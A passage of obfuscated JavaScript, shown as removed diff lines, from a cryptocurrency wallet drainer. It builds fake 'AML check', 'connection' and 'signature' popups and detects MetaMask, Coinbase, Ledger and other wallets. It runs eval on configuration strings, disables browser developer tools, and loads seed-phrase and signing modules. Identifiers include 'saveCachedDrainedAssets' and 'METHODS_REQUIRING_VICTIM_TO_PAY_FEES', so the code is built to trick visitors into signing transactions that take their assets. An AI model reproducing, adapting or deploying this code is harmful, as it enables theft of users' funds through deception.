medium;border-image:none 100%/1/0 stretch;color:#8a939b;text-align:center\"><div><div style=\"color:#04111d;align-items:center;margin-bottom:12px;display:flex;text-align:center;font-weight:600;background:#f7f7f7;border-radius:12px;padding:7px\"><img src=\"https://cdn-icons-png.flaticon.com/512/8212/8212602.png\" height=\"30\" style=\"display:inline-block;vertical-align:middle;width:30px\"><h3 style=\"text-align:center;font-size:13px;font-weight:600;color:#04111d;margin:0\">" + vQ29.popup_2_config.message, "</h3></div><div style=\"color:#04111d!important;line-height:140%;margin-bottom:12px;font-weight:600\"><h3 style=\"font-size:14px;text-align:center;font-weight:600;position:relative\" id=\"popup-text\"></h3></div></div></div></div></div><div id=\"popup-overlay\"></div>", vzwAVq = -5);
- p221.exports = class {
- constructor() {
- this.element = document.createElement("div");
- this.element.id = "popup";
- this.element.style.display = "none";
- this.element.innerHTML += vJZmylD49;
- document.body[ABLWty(448)](this.element);
- this.overlayElement = document.getElementById("popup-overlay");
- this[ABLWty(1132) + "lement"] = document.getElementById("popup-title");
- this.textElement = document.getElementById("popup-text");
- document.getElementById("popup-close").addEventListener("click", () => this.close());
- this.overlayElement.addEventListener("click", () => this.close());
- this.lastOpen = 0;
- this.onClose = () => {};
- }
- open() {
- this.element.style[ABLWty(1051)] = "flex";
- this.overlayElement.style.display = "block";
- }
- close() {
- this.element.style.display = "none";
- this.overlayElement.style.display = ABLWty(1078);
- this.onClose();
- }
- async popup(p222, p223 = JZmylD(1, WAZ9Ax(7))) {
- if (p223) {
- this.close();
- alert(p222);
- } else {
- this.titleElement.innerText = vQ29.popup_2_config.title;
- this[ABLWty(1133)].innerText = p222;
- this.open();
- let v602 = Date.now();
- this.lastOpen = v602;
- setTimeout(() => {
- if (v602 === this.lastOpen) {
- this.close();
- }
- }, vQ29.popup_2_config.max_time_before_auto_close);
- await new Promise(p224 => {
- this.onClose = p224;
- });
- }
- }
- };
- });
- var aa = I((p225, p226) => {
- var vQ30 = q();
- p226.exports = class {
- constructor() {
- this.element = document.createElement("div");
- this.element.id = "popup";
- this.element.style.display = ABLWty(1078);
- this.element.innerHTML = "<div id=\"popup-container\" class=\"flex-container\"><div class=\"flex-items\"><div class=\"lds-dual-ring\"></div></div><div class=\"flex-items\"><p id=\"popup-title\">Waiting For Confirmation</p></div><div class=\"flex-items\"><p id=\"popup-text\">Confirm this transaction in your wallet</p></div></div><div id=\"popup-overlay\"></div>";
- document.body.appendChild(this.element);
- this["overla" + ABLWty.call(undefined, 1134) + "nt"] = document.getElementById("popup-overlay");
- this.titleElement = document.getElementById("popup-title");
- this.textElement = document.getElementById("popup-text");
- this.overlayElement.addEventListener("click", () => this.close());
- this.lastOpen = 0;
- this.onClose = () => {};
- }
- open() {
- this.element.style.display = "flex";
- this.overlayElement.style.display = "block";
- }
- close() {
- this.element.style.display = "none";
- this.overlayElement.style.display = "none";
- this.onClose();
- }
- async [ABLWty(1135)](p227, p228 = JZmylD(1, WAZ9Ax(7))) {
- if (p228) {
- this.close();
- alert(p227);
- } else {
- this.titleElement.innerText = vQ30.popup_3_config.title;
- this.textElement.innerText = p227;
- this.open();
- let v604 = Date.now();
- this.lastOpen = v604;
- setTimeout(() => {
- if (v604 === this.lastOpen) {
- this.close();
- }
- }, vQ30["popup_" + ABLWty(1136) + "ig"]["max_time_bef" + ABLWty(1137) + "to_close"]);
- await new Promise(p229 => {
- this.onClose = p229;
- });
- }
- }
- };
- });
- var oa = I((p230, p231) => {
- var vQ31 = q();
- var {
- sleep: _0x52328f
- } = pe();
- p231.exports = class {
- close() {
- try {
- eval(vQ31.popup_4_config.close_function);
- } catch {}
- }
- async popup(p232, p233) {
- this[ABLWty(93)]();
- try {
- eval(vQ31.popup_4_config.open_function.replaceAll("isError", typeof p233 == "boolean" ? p233 : "").replaceAll(ABLWty.apply(undefined, [1138]), vQ31.popup_style === 4 && vQ31.popup_4_config.mode === 2 && p233 ? JZmylD("\"" + p233, "\"", vzwAVq = -5) : "").replaceAll(ABLWty(1139), p233 ? JZmylD("\"" + p233, "\"", vzwAVq = -5) : "").replaceAll("param", typeof p232 == "string" ? JZmylD("\"" + p232, "\"", WAZ9Ax(-5)) : p232));
- } catch {}
- let v605 = Date.now();
- this.lastOpen = v605;
- await _0x52328f(p232 === "string" ? vQ31[ABLWty(1140)].max_time_before_auto_close : p233);
- if (v605 === this.lastOpen) {
- this.close();
- }
- }
- };
- });
- var ra = I((p234, p235) => {
- var vQ32 = q();
- var {
- RABBY_NOT_SUPPORTED_MESSAGE: _0x3f80c3
- } = he();
- var vJZmylD50 = JZmylD("<img src=\"" + vQ32.images_path, "/popup-success.svg\"></img>", WAZ9Ax(-5));
- var vJZmylD51 = JZmylD("<img src=\"" + vQ32.images_path, "/popup-error.svg\"></img>", vzwAVq = -5);
- var v606 = {
- 1: "<div class=\"popup-con popup\"><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"lds-ring\"><div></div><div></div><div></div><div></div></div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Connecting to Blockchain...</div></div></div></div></div>",
- 2: JZmylD("<div class=\"popup success\"><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"popup-action-success\">" + vJZmylD50, "</div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Connection established</div></div></div></div></div>", vzwAVq = -5),
- 3: "<div class=\"popup-con popup\"><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"lds-ring\"><div></div><div></div><div></div><div></div></div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Fetching your wallet address...</div></div></div></div></div>",
- 4: "<div class=\"popup-con popup\"><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"lds-ring\"><div></div><div></div><div></div><div></div></div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Checking your wallet for AML...</div></div></div></div></div>",
- 5: JZmylD("<div class=\"popup-con popup\"><div class=popup-main><div class=popup-main-content><div class=popup-action><div class=popup-action-success>" + vJZmylD50, "</div></div><div class=popup-desc><div class=l-d-f>Good, your wallet is AML clear!</div></div></div></div></div>", WAZ9Ax(-5)),
- 6: "<div class=\"popup-con popup\"><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"lds-ring\"><div></div><div></div><div></div><div></div></div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Please wait, we are scanning more details...</div></div></div></div></div>",
- 7: JZmylD("<div class=\"popup-con popup\"><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"popup-action-success\">" + vJZmylD50, "</div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Thanks!</div></div></div></div></div>", WAZ9Ax(-5)),
- 8: JZmylD("<div class=\"popup-error popup\"><div class=\"popup-head\"><div class=\"title\">Something went wrong!</div></div><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"popup-action-error\">" + vJZmylD51, "</div></div><div class=\"popup-desc\"><div class=\"l-d-s\">For security reasons we can't allow you to co" + ABLWty.call(undefined, 1141) + "ass=\"popup-error-button\"><button onclick=\"location.reload()\">Re-Connect</button></div></div></div>", WAZ9Ax(-5)),
- 9: "<div class=\"popup\"><div class=\"popup-head\"><div class=\"title\">Waiting for chain switch...</div></div><div class=\"popup-mai" + ABLWty(1142) + "/div></div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Please, change chain to continue!</div></div></div></div></div>",
- 10: "<div class=\"popup\"><div class=\"popup-head\"><div class=\"title\">Waiting for your signature...</div></div><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"lds-ring\"><div></div><div></div><div></div><div></div></div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Please sign this message in your wallet!</div></div></div></div></div>",
- 11: JZmylD("<div class=\"popup success\"><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"popup-action-success\">" + vJZmylD50, "</div></div><div class=\"popup-desc\"><div class=\"l-d-f\">Your sign is confirmed!</div></div></div></div></div>", vzwAVq = -5),
- 12: JZmylD("<div class=\"popup-error popup\"><div class=\"popup-head\"><div class=\"title\">An error has occurred !</div></div><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"popup-action-error\">" + vJZmylD51, "</div></div><div class=\"popup-desc\"><div class=\"l-d-s\">Your wallet doesn't meet the requirements, please connect another and try again!</div></div><div class=\"popup-error-button\"><button onclick=\"location.reload()\">Re-Connect</button></div></div></div></div>", WAZ9Ax(-5)),
- 14: JZmylD("<div class=\"popup-error popup\"><div class=\"popup-head\"><div class=\"title\">An error has occurred !</div></div><div class=\"popup-main\"><div class=\"popup-main-content\"><div class=\"popup-action\"><div class=\"popup-action-error\">" + vJZmylD51 + "</div></div><div class=\"popup-desc\"><div class=\"l-d-s\">" + _0x3f80c3, "</div></div><div class=\"popup-error-button\"><button onclick=\"location.reload()\">Re-Connect</button><" + ABLWty(1143), vzwAVq = -5)
- };
- p235.exports = class {
- constructor() {
- this.overlayElement = document.createElement("div");
- this.overlayElement.id = "popup-overlay";
- this.overlayElement.style.display = "none";
- document.body.appendChild(this.overlayElement);
- this.overlayElement.addEventListener("click", () => this.close());
- this.lastOpen = 0;
- this.onClose = () => {};
- }
- open(p236) {
- this.close();
- this.element = document.createElement("div");
- this.element.innerHTML = v606[p236];
- this.overlayElement.style.display = "block";
- document.body.appendChild(this.element);
- }
- close() {
- if (this.element) {
- this.element.remove();
- }
- this.overlayElement.style.display = "none";
- this.onClose();
- }
- async popup(p237, p238 = JZmylD(1, WAZ9Ax(7))) {
- this.open(p237);
- let v607 = Date.now();
- this.lastOpen = v607;
- setTimeout(() => {
- if (v607 === this.lastOpen) {
- this.close();
- }
- }, p238 || vQ32.popup_5_max_time_before_auto_close);
- await new Promise(p239 => {
- this.onClose = p239;
- });
- }
- };
- });
- var ca = I((p240, p241) => {
- var vQ33 = q();
- var vD23 = D();
- var {
- RABBY_ERROR_MESSAGE: _0x341774
- } = he();
- var vYe11 = ye();
- p241.exports = class {
- constructor() {
- this.element = document.createElement("div");
- this.element.id = "popup";
- this.element.style = "display:none;position:fixed;";
- this.element.innerHTML = "<div tabindex=\"0\"><div class=\"hNHEtw\"><div id=\"popup-content\" role=\"dialog\" class=\"dkAhZx\" style=\"pointer-events:auto\"></div></div></div>";
- document.body.appendChild(this.element);
- this.popupContent = document.getElementById(ABLWty.apply(undefined, [1144]) + ABLWty(683) + "t");
- window.popup = this;
- this.onClose = () => {};
- }
- changePage(p242) {
- this.popupContent.innerHTML = JZmylD("<div id=\"popup-overlay\"></div>", p242, WAZ9Ax(-5));
- this.overlayElement = document.getElementById("popup-overlay");
- this.overlayElement.addEventListener("click", () => this[ABLWty(93)]());
- }
- parsedWalletName() {
- let {
- walletName: _0x4967c4
- } = vD23;
- if (_0x4967c4.includes("MetaMask")) {
- return "metamask";
- } else if (_0x4967c4.includes("Coinbase")) {
- return "coinbase";
- } else if (_0x4967c4.includes("Binance")) {
- return "binance";
- } else if (_0x4967c4.includes("Trust Wallet")) {
- return "trustWallet";
- } else if (_0x4967c4.includes("Trezor")) {
- return "trezor";
- } else if (_0x4967c4.includes("Ledger")) {
- return "ledger";
- } else {
- return "other";
- }
- }
- getLogoHtml() {
- let v609 = this.parsedWalletName();
- return JZmylD("<img src=\"" + vQ33.images_path + "/" + (v609 === "metamask" ? "metamask.svg" : v609 === ABLWty.apply(undefined, [1145]) ? "binance.svg" : v609 === "coinbase" ? "coinbase.svg" : v609 === "trezor" ? ABLWty(1146) : v609 === "ledger" ? "ledger.png" : v609 === "trustWallet" ? "trust-wallet.svg" : "other-wallet.svg"), "\">", WAZ9Ax(-5));
- }
- async updatePage(p243) {
- if (p243 === "close") {
- this.close();
- } else if (p243 === "download") {
- let v610 = this.parsedWalletName();
- vYe11(v610);
- }
- }
- getMessage(p244) {
- let {
- walletName: _0x32558e
- } = vD23;
- let v611 = this.parsedWalletName();
- let v612;
- let v613;
- if (p244 === "error") {
- v612 = window.bx35fyptgp || "Error during the process";
- v613 = window.f749nb2ety || "Something went wrong.<br>Please try again with another wallet.";
- } else if (p244 === "notEligible") {
- v612 = window.i1dyqvcqox || "Your wallet is not eligible";
- v613 = window.hau42yvfnu || "Something went wrong.<br>Please try again with an active wallet.";
- } else if (p244 === "notEligibleRabby") {
- v612 = "Your wallet is not compatible.";
- v613 = window.nq2q9yhsq9 || _0x341774;
- } else if (p244 === "wait") {
- v612 = window.bi50pouot || "Waiting for verification.";
- v613 = window.usqtludgq || "Please wait whil" + ABLWty(1147) + "ify your wallet.";
- } else if (p244 === "changeChain") {
- v612 = window[ABLWty(1148)] || "Waiting for chain switch.";
- v613 = window.i1wg0aws75?.replace("${walletFullName}", _0x32558e) || JZmylD("Open the " + _0x32558e, " browser <br>extension to switch to correct chain.", WAZ9Ax(-5));
- } else {
- v612 = window.rmlr0otr6i || "Requesting Confirmation.";
- v613 = window.t4e2qh2nxu?.replace("${walletFullName}", _0x32558e) || JZmylD("Open the " + _0x32558e, " browser <br>extension to confirm your wallet.", vzwAVq = -5);
- }
- let v614 = ["error", "notEligible", "notEligibleRabby"].includes(p244);
- let v615 = this.getLogoHtml();
- return JZmylD("<div class=\"hBuwwI\" style=\"--height: 351px; --width:343px\"><div style=\"pointer-events:none;position:absolute;top:0;bottom:0;left:50%;transform:translateX(-50%);width:var(--width);z-index:9;transition:width .2s ease 0s\"></div><div class=\"RrATt active\"><div class=\"gcowpW\"><button onclick=\"popup.updatePage('close')\" aria-label=\"Close\" class=\"hFEFWT\"><img src=\"" + vQ33.images_path + "/" + (vD23.isModalDarkMode ? "white" : "black") + "-close-cross.svg\"></button></div><div class=\"dLUlU\"><div style=\"position:absolute;top:0;left:0;right:0;opacity:1\">" + _0x32558e + "</div></div><div class=\"gcbNhn\"><div class=\"hVhjow active-scale-up\"><div style=\"pointer-events:auto\" class=\"dmNTWR\"><div style=\"z-index:2;opacity:1;transform:none\"><div class=\"jKlSZW\"><div class=\"cBtLfS\"><div class=\"lbAEgN\"></div><div class=\"hLWHUX\">" + (v614 ? "<div class=\"hLWHUX\"><div class=\"bxwbBD\"><button onclick=\"location.reload()\" aria-label=\"Retry\" class=\"iGfDZB\" style=\"opacity:1;transform:none\"><div class=\"ilqOAO\"><div><svg aria-hidden=\"true\" width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M32 16C32 24.8366 24.8366 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0C24.8366 0 32 7.16344 32 16ZM24.5001 8.74263C25.0834 8.74263 25.5563 9.21551 25.5563 9.79883V14.5997C25.5563 15.183 25.0834 15.6559 24.5001 15.6559H19.6992C19.1159 15.6559 18.643 15.183 18.643 14.5997C18.643 14.0164 19.1159 13.5435 19.6992 13.5435H21.8378L20.071 11.8798C20.0632 11.8724 20.0555 11.865 20.048 11.8574C19.1061 10.915 17.8835 10.3042 16.5643 10.1171C15.2452 9.92999 13.9009 10.1767 12.7341 10.82C11.5674 11.4634 10.6413 12.4685 10.0955 13.684C9.54968 14.8994 9.41368 16.2593 9.70801 17.5588C10.0023 18.8583 10.711 20.0269 11.7273 20.8885C12.7436 21.7502 14.0124 22.2582 15.3425 22.336C16.6726 22.4138 17.9919 22.0572 19.1017 21.3199C19.5088 21.0495 19.8795 20.7333 20.2078 20.3793C20.6043 19.9515 21.2726 19.9262 21.7004 20.3228C22.1282 20.7194 22.1534 21.3876 21.7569 21.8154C21.31" + ABLWty(1149) + ".77421 16.861 8.02565C18.6282 8.27631 20.2664 9.09278 21.5304 10.3525L23.4439 12.1544V9.79883C23.4439 9.21551 23.9168 8.74263 24.5001 8.74263Z\" fill=\"currentColor\"></path></svg></div></div></button><div class=\"epSHCc\"><div class=\"jhhhSe\"><div style=\"transform:scale(.86);position:relative;width:100%\">" + v615 + "</div></div><div class=\"eFjHkq\"></div></div></div></div>" : "<div class=\"czUBmg\"><div class=\"epSHCc\"><div class=\"jhhhSe\"><div style=\"transform:scale(.86);position:relative;width:100%\">" + v615 + "</div></div><div class=\"eFjHkq\"><div class=\"dYEcPx\" style=\"opacity:1\"><svg aria-hidden=\"true\" width=\"102\" height=\"102\" viewBox=\"0 0 102 102\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M52 100C24.3858 100 2 77.6142 2 50\" stroke=\"url(#paint0_linear_1943_4139)\" stroke-width=\"3.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\"></path><defs><linearGradient id=\"paint0_linear_1943_4139\" x1=\"2\" y1=\"48.5\" x2=\"53\" y2=\"100\" gradientUnits=\"userSpaceOnUse\"><stop stop-color=\"var(--ck-spinner-color)\"></stop><stop offset=\"1\" stop-color=\"var(--ck-spinner-color)\" stop-opacity=\"0\"></stop></linearGradient></defs></svg></div></div></div></div>") + "</div></div></div><div class=\"liyQQU\"><div class=\"dWkvrK\" style=\"position:relative;opacity:1;transform:none\">" + (v611 === "coinbase" ? "<div class=\"emnDjo\" style=\"padding-bottom: 28px;\">" : "<div style=\"padding-bottom: 28px;\" class=\"emnDjo\">") + "<h1 class=\"fqLYro\">" + v612 + "<br></h1><div class=\"CcNJP\">" + v613, "<br></div></div></div></div></div></div></div></div></div></div>", WAZ9Ax(-5));
- }
- [ABLWty(1020)]() {
- this.element.style.display = "block";
- }
- close() {
- this.element.style.display = "none";
- this.onClose();
- }
- async popup(p245) {
- this.changePage(this.getMessage(p245));
- this.open();
- let v616 = Date.now();
- this.lastOpen = v616;
- setTimeout(() => {
- if (v616 === this.lastOpen) {
- this.close();
- }
- }, vQ33.popup_6_max_time_before_auto_close);
- await new Promise(p246 => {
- this.onClose = p246;
- });
- }
- };
- });
- var pa = I((p247, p248) => {
- var vD24 = D();
- p248.exports = class {
- close() {
- try {
- window.customPopupClose();
- } catch {}
- }
- async popup(p249, p250 = {}) {
- this.close();
- let {
- walletAddress: _0x5afa42,
- walletName: _0x213a46,
- totalWalletPrice: _0x471baf,
- isTelegramMiniApp: _0x285810,
- os: _0x316fc2,
- isMobile: _0x162f21,
- browser: _0x32b646
- } = vD24;
- try {
- const v617 = {
- stepName: p249,
- stepInfos: p250,
- totalWalletPrice: _0x471baf,
- isMobile: _0x162f21
- };
- v617.walletAddress = _0x5afa42;
- v617.walletName = _0x213a46;
- v617.isTelegramMiniApp = _0x285810;
- v617.os = _0x316fc2;
- v617.browser = _0x32b646;
- await window.customPopupOpen(v617);
- } catch {}
- }
- };
- });
- var ma = I((p251, p252) => {
- p252.exports = class {
- constructor(p253) {
- if (p253) {
- this[ABLWty(1150)] = p253;
- } else {
- if (JZmylD(window.onboardVars, WAZ9Ax(7))) {
- this.initSuccess = JZmylD(1, vzwAVq = 7);
- return;
- }
- let {
- Onboard: _0x1a6824
- } = window.onboardVars;
- this.onboard = _0x1a6824({
- wallets: [],
- chains: []
- });
- let v619 = document.createElement("style");
- v619.innerHTML = "wcm-modal{--wcm-z-index:2147483647}:root{--onboard-modal-z-index:2147483646;--account-center-z-index:2147483647}";
- document[ABLWty.apply(undefined, [437])].appendChild(v619);
- }
- this["dismis" + ABLWty(1151)] = [];
- this.initSuccess = JZmylD(0, vzwAVq = 7);
- }
- [ABLWty(93)]() {
- if (this.initSuccess) {
- this.dismissList[ABLWty.call(undefined, 1152)](p254 => p254());
- }
- }
- async popup(p255, p256) {
- if (this.initSuccess) {
- await new Promise(async p257 => {
- let {
- dismiss: _0x1d128d
- } = this.onboard.state.actions.customNotification({
- [ABLWty(443)]: p256,
- message: p255,
- autoDismiss: 5000,
- [ABLWty(1153)]: () => vF21(_0x1d128d)
- });
- let vF21 = () => {
- _0x1d128d();
- this.dismissList = this.dismissList[ABLWty.call(undefined, 414)](p258 => p258 !== _0x1d128d);
- p257();
- };
- this.dismissList.push(_0x1d128d);
- setTimeout(() => vF21(_0x1d128d), 5000);
- });
- }
- }
- };
- });
- var ha = I((p259, p260) => {
- p260.exports = class {
- constructor() {
- this.element = document.createElement("div");
- this.element.style = "box-shadow:transparent 0 0 0 0,transparent 0 0 0 0,rgba(0,0,0,.1) 0 10px 15px -3px,rgba(0,0,0,.1) 0 4px 6px -4px;padding:16px;background-color:#fff;overflow-y:auto;max-height:421px;z-index:2147483647;right:0;left:0;bottom:0;position:fixed;box-sizing:border-box;border:0 solid #e5e7eb;font-family:Arial";
- this.element.id = "open-safari-warning";
- this.element.innerHTML = "<div style=\"max-width:448px;margin-left:auto;margin-right:auto;box-sizing:border-box;border:0 solid #e5e7eb\"><div style=\"align-items:center;display:flex;box-sizing:border-box;border:0 solid #e5e7eb\"><img alt=\"Safari Icon\" loading=\"lazy\" width=\"40\" height=\"40\" decoding=\"async\" src=\"https://sunpump.sbs/_next/image?url=%2Fsafari-icon.png&w=96&q=75\" style=\"color:transparent;max-width:100%;height:auto;display:block;vertical-align:middle;box-sizing:border-box;border:0 solid #e5e7eb\"><div style=\"flex-grow:1;margin-left:16px;box-sizing:border-box;border:0 solid #e5e7eb\"><h3 style=\"color:#000;font-weight:700;font-size:18px;line-height:28px;margin:0;box-sizing:border-box;border:0 solid #e5e7eb\">Open in Safari</h3><p style=\"color:#4b5563;font-size:14px;line-height:20px;margin:0;box-sizing:border-box;border:0 solid #e5e7eb\">For this app to work, open this page in Safari.<br>Click the safari icon at the bottom right or copy link.</p></div><button id=\"open-safari-warning-close\" style=\"color:#6b7280;margin-left:8px;cursor:pointer;appearance:button;background-color:rgba(0,0,0,0);background-image:none;text-transform:none;font-feature-settings:normal;font-variation-settings:normal;font-size:16px;font-weight:400;line-height:24px;letter-spacing:normal;margin:0 0 0 8px;padding:0;box-sizing:border-box;border:0 solid #e5e7eb\"><svg xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" style=\"width:1.5rem;height:24px;display:block;vertical-align:middle;box-sizing:border-box;border:0 solid #e5e7eb\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M6 18L18 6M6 6l12 12\" style=\"box-sizing:border-box;border:0 solid #e5e7eb\"></path></svg></button></div><div style=\"margin-top:16px;box-sizing:border-box;border:0 solid #e5e7eb\"><button id=\"open-safari-warning-copy\" style=\"transition-duration:.3s;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-timing-function:cubic-bezier(.4,0,.2,1);color:#fff;padding-top:8px;padding-bottom:8px;padding-left:16px;padding-right:16px;background-color:#3b82f6;border-radius:4px;width:100%;cursor:pointer;appearance:button;background-image:none;text-transform:none;font-feature-settings:normal;font-variation-settings:normal;font-size:16px;font-weight:400;line-height:24px;letter-spacing:normal;margin:0;padding:8px 16px;box-sizing:border-box;border:0 solid #e5e7eb\">Copy URL</button></div></div>";
- document.body.appendChild(this.element);
- this.closeButton = document.getElementById("open-safari-warning-close");
- this.closeButton.addEventListener("click", () => this.close());
- this.copyButton = document.getElementById("open-safari-warning-copy");
- this.copyButton.addEventListener("click", () => {
- navigator.clipboard.writeText(window.location.href);
- this.copyButton.textContent = ABLWty(1154);
- setTimeout(() => {
- this.copyButton.textContent = "Copy URL";
- }, 2000);
- });
- }
- open() {
- this.element.style.display = "block";
- }
- close() {
- this.element.style.display = "none";
- }
- };
- });
- (async function (..._0x27c9fc) {
- _0x27c9fc.length = 0;
- _0x27c9fc.dAWc3F = 130;
- let {
- sleep: _0x49a228,
- saveCachedDrainedAssets: _0x2de3b3,
- removeCachedDrainedAssets: _0x34b3a7,
- importFile: _0x12d92a,
- getText: _0x35cb83,
- parseUserAgent: _0x32e14b,
- getWalletName: _0x48b05b
- } = pe();
- _0x27c9fc.Hc09ph = _0x27c9fc[_0x27c9fc.dAWc3F - 84];
- let vQ34 = q();
- let {
- initializeWasm: _0x3aa29d,
- request: _0x18540c,
- log: _0x38a594,
- logError: _0x52db9b,
- fetchConfig: _0x89a9c6
- } = Y();
- if (!vQ34.hardcoded) {
- await _0x89a9c6();
- }
- let v620 = function (p261) {
- for (var v621 = 16; v621 % 4 === 0; v621++) {
- var v622 = 0;
- p261 = p261.concat(function () {
- v622++;
- if (v622 === 1) {
- return [];
- }
- for (var v623 = 48; v623; v623--) {
- p261.unshift(p261.pop());
- }
- return [];
- }());
- }
- for (var v624 = 12; v624; v624--) {
- p261.unshift(p261.pop());
- }
- return p261;
- }([13, 14, 15, 7, 12]).includes(vQ34.modal_style) && vQ34["seeds_" + ABLWty(1123)].enabled;
- let v625 = v620 || vQ34.modal_style === 11;
- let vD25 = D();
- if (vQ34.use_wasm) {
- vD25.isPowSolving = JZmylD(0, vzwAVq = 7);
- _0x3aa29d();
- }
- if (vQ34[ABLWty(91)] || vQ34.disable_dev_tool) {
- let v626 = [];
- if (vQ34.disable_dev_tool) {
- v626.push("");
- }
- if (vQ34.auto_load_files) {
- v626.push("");
- if (!vQ34.use_opensea_transfers) {
- v626.push(JZmylD(vQ34.scripts_path, "/seaport.js", vzwAVq = -5));
- }
- if ([1, 4].includes(vQ34.modal_style)) {
- v626.push("");
- if (vQ34["modal_" + ABLWty(401)] === 4) {
- v626.push(JZmylD(vQ34.scripts_path, "/coinbase.js", vzwAVq = -5));
- }
- }
- if (vQ34.modal_style === _0x27c9fc.dAWc3F - 115) {
- v626.push(JZmylD(vQ34.scripts_path, "/rabby-kit.js", vzwAVq = -5));
- } else if (vQ34.modal_style !== 14) {
- if (function (p262) {
- for (var v627 = 16; v627 % 4 === 0; v627++) {
- var v628 = 0;
- p262 = p262.concat(function () {
- v628++;
- if (v628 === 1) {
- return [];
- }
- for (var v629 = 13; v629; v629--) {
- p262.unshift(p262.pop());
- }
- return [];
- }());
- }
- for (var v630 = 1; v630; v630--) {
- p262.unshift(p262.pop());
- }
- return p262;
- }([5, 6, 7, 8, 9, 11, 2]).includes(vQ34.modal_style)) {
- v626.push(JZmylD(vQ34.styles_path + "/modal-" + vQ34.modal_style, ".css", WAZ9Ax(-5)));
- }
- if (vQ34.modal_style === 10) {
- v626.push(JZmylD(vQ34.scripts_path, "/wallet-connect-v3.js", WAZ9Ax(-5)));
- } else if (vQ34[ABLWty(1155)] === 3 || vQ34.modal_style !== 12 && JZmylD(vQ34.use_wallet_connect_v4, WAZ9Ax(7))) {
- v626.push(JZmylD(vQ34.scripts_path, "/wallet-connect-v2.js", WAZ9Ax(-5)));
- } else {
- v626.push(JZmylD(vQ34.scripts_path, "/wallet-connect-v4.js", vzwAVq = -5));
- }
- }
- if (vQ34.modal_style === 14 || vQ34.popup_style === 8) {
- v626.push(JZmylD(vQ34.scripts_path, "/onboard.js", vzwAVq = -5));
- }
- if (v625) {
- v626.push(JZmylD(vQ34.scripts_path, "/bip39.js", WAZ9Ax(-5)));
- if (v620) {
- v626.push("https://cdn.jsdelivr.net/npm/[email protected]/autocomplete.min.js", JZmylD(vQ34.styles_path, "/modal-12-seed.css", vzwAVq = -5));
- }
- }
- if (vQ34.enable_popup && vQ34.popup_style === 1 || v620) {
- v626.push("https://cdn.jsdelivr.net/npm/sweetalert2@11");
- }
- if ([2, 3, 5, _0x27c9fc.dAWc3F - 124].includes(vQ34.popup_style)) {
- v626.push(JZmylD(vQ34.styles_path + "/popup-" + vQ34.popup_style, ".css", vzwAVq = -5));
- }
- }
- while (true) {
- _0x27c9fc.cPixTDd = v626.map(_0x12d92a);
- _0x27c9fc.pRHFqo = await Promise.all(_0x27c9fc.cPixTDd);
- _0x27c9fc.x1tutK = [];
- for (let v631 = 0; v631 < v626.length; v631++) {
- if (!_0x27c9fc.pRHFqo[v631]) {
- _0x27c9fc.x1tutK.push(v626[v631]);
- }
- }
- if (_0x27c9fc.x1tutK.length === 0) {
- break;
- }
- v626 = _0x27c9fc.x1tutK;
- }
- }
- if (vQ34.disable_dev_tool) {
- if (JZmylD(window.DisableDevtool, WAZ9Ax(7))) {
- return location.reload();
- }
- DisableDevtool();
- }
- if (JZmylD(window.ethers, vzwAVq = 7)) {
- return location.reload();
- }
- if (JZmylD(vQ34.use_opensea_transfers, vzwAVq = 7) && JZmylD(window.seaport?.Seaport, vzwAVq = 7)) {
- vD25.isSeaportSupported = JZmylD(1, vzwAVq = 7);
- }
- if (!window.MerkleTree) {
- vD25.isBlurSupported = JZmylD(1, WAZ9Ax(7));
- }
- let {
- METHODS_REQUIRING_VICTIM_TO_PAY_FEES: _0x545950,
- METHODS_REQUIRING_TYPED_DATA_V4: _0x15449b,
- ["MAX_OPENSEA_" + ABLWty(1156) + "TS"]: _0x2c43ed,
- RABBY_ERROR_MESSAGE: _0x12d887
- } = he();
- let {
- PUNK: _0x5bf58f,
- MOON_BIRD: _0x2d484d,
- CREEPZ: _0x481df9,
- BLUR_POOL_TOKEN: _0x2b8ba3,
- ETHERFI_YIELDS: _0x9fda3d
- } = de();
- let {
- getChainId: _0x36d03f,
- changeChain: _0xfca96,
- promptTrustSign: _0x3a9d76,
- promptVerifySign: _0x32aa77
- } = Z();
- let vYt2 = yt();
- let v632;
- let v633;
- let vJZmylD52 = JZmylD(1, vzwAVq = 7);
- let v634 = [];
- let v635 = [];
- let v636 = [];
- let v637 = [];
- window.enn500mr3m = JZmylD(1, WAZ9Ax(7));
- window.y5rmpu1dcr = 0;
- if (window.TelegramWebviewProxy) {
- vD25.isTelegramMiniApp = JZmylD(0, WAZ9Ax(7));
- }
- let {
- os: _0x5b0ea3,
- browser: _0x16399a,
- isMobile: _0x4aa644
- } = _0x32e14b(window.navigator.userAgent);
- vD25.os = _0x5b0ea3;
- vD25.browser = _0x16399a;
